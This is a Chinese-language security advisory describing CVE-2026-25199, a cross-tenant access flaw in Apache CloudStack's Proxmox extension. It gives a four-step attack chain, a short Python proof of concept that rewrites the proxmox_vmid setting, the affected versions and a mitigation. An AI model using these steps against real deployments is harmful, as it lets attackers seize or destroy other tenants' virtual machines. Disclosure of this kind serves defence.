IPBUF安全漏洞报告
English
CVE-2026-25199 CVSS 9.1 严重

CVE-2026-25199 Apache CloudStack越权访问漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-25199
漏洞类型
访问控制失效/越权访问
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache CloudStack

相关标签

Access ControlIDORApache CloudStackCriticalPrivilege Escalation

漏洞概述

Apache CloudStack 在使用 Proxmox 扩展时存在严重的越权访问漏洞。由于系统未对用户可编辑的 proxmox_vmid 参数进行所有权验证,攻击者可利用此缺陷修改实例设置以指向其他租户的虚拟机,从而获得对目标虚拟机的完全控制权。

技术细节

Apache CloudStack 的 Proxmox 扩展错误地依赖用户可编辑的实例设置 proxmox_vmid 来关联 CloudStack 实例与 Proxmox 虚拟机。关键问题在于该值未受到租户所有权的限制或验证,且 Proxmox 虚拟机 ID 通常是可预测的。非特权攻击者可以通过修改自己实例的 proxmox_vmid 设置,将其引用到属于另一个账户的虚拟机 ID。这导致了未经授权的跨租户访问,使攻击者能够对目标虚拟机执行启动、停止、销毁等完全控制操作。该漏洞本质上是由于缺乏对用户输入参数的严格校验而导致的越权漏洞。

攻击链分析

STEP 1
1. 信息收集
攻击者作为租户登录系统,分析 Proxmox 虚拟机 ID 的分配规律,预测或枚举目标租户的虚拟机 ID(VMID)。
STEP 2
2. 参数篡改
攻击者编辑自己拥有的某个 CloudStack 实例详情,将 proxmox_vmid 参数的值修改为目标受害者的 Proxmox 虚拟机 ID。
STEP 3
3. 权限获取
CloudStack 后端错误地接受了该修改,建立了攻击者实例与受害者底层虚拟机的关联。
STEP 4
4. 执行攻击
攻击者通过 CloudStack 控制台向自己的实例发送操作指令(如停止、销毁),由于底层映射错误,这些指令实际执行在了受害者的虚拟机上。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-25199: Apache CloudStack Proxmox Extension IDOR Demonstrates altering the proxmox_vmid to hijack another tenant's VM. """ import requests TARGET_API = "https://cloudstack-server:8080/client/api" API_KEY = "ATTACKER_API_KEY" SECRET_KEY = "ATTACKER_SECRET_KEY" # Attacker controls their own instance, but targets a specific Proxmox VMID ATTACKER_VM_ID = "i-3-00000001" TARGET_PROXMOX_VMID = "105" # Predicted or known victim VM ID def exploit(): payload = { "command": "updateVirtualMachine", "id": ATTACKER_VM_ID, "details[0].key": "proxmox_vmid", "details[0].value": TARGET_PROXMOX_VMID, "apikey": API_KEY, "response": "json" } # In a real scenario, sign the request with SECRET_KEY print(f"[*] Sending request to bind VM {ATTACKER_VM_ID} to Proxmox ID {TARGET_PROXMOX_VMID}") # r = requests.get(TARGET_API, params=payload) # print(r.text) if __name__ == "__main__": exploit()

影响范围

Apache CloudStack 4.21.0.0
Apache CloudStack 4.22.0.0

防御指南

临时缓解措施
对于无法立即升级的环境,管理员应修改全局配置参数 user.vm.denied.details,将 proxmox_vmid 加入其中。这将阻止用户编辑该实例详情字段,从而防止攻击者利用此参数进行越权访问。

参考链接